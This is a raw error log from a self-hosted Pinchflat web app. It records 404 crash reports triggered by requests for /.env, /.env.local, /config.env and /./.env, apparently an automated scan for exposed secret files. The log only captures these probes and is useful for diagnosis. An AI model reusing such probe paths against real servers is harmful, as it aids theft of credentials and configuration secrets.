s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:43.762 [debug] QUERY OK source="settings" db=1.0ms idle=226.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:43.763 [debug] QUERY OK source="settings" db=0.8ms idle=227.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:43.763 [debug] QUERY OK source="settings" db=0.8ms idle=227.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:43.763 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:43.763 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:43.764 [error] #PID<0.138957.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138957.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw3wUVJoYdSwADZkh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozi (truncated) 04:52:43.764 [error] #PID<0.138958.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138958.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "fr-FR,fr;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"130\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"macOS\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw3wUVOqMHmwAAHhD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7 (truncated) 04:52:44.349 [info] GET /config.env 04:52:44.349 [info] GET /./.env 04:52:44.351 [debug] QUERY OK source="settings" db=0.7ms idle=631.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.351 [debug] QUERY OK source="settings" db=0.7ms idle=588.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.352 [debug] QUERY OK source="settings" db=1.0ms idle=588.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.352 [debug] QUERY OK source="settings" db=1.1ms idle=589.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:44.353 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:44.353 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:44.353 [error] #PID<0.138959.0> running PinchflatWeb.Endpoint (connection #PID<0.138955.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /config.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138959.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/config.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw580LkwiNOEAAHhj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138955.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46054}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", (truncated) 04:52:44.354 [error] #PID<0.138960.0> running PinchflatWeb.Endpoint (connection #PID<0.138956.0>, stream id 2) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /./.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /./ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/./.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.138960.0>, params: %{}, path_info: [".", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/./.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUw580LY9XDrQADZlB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.138956.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/./.env", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46044}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", 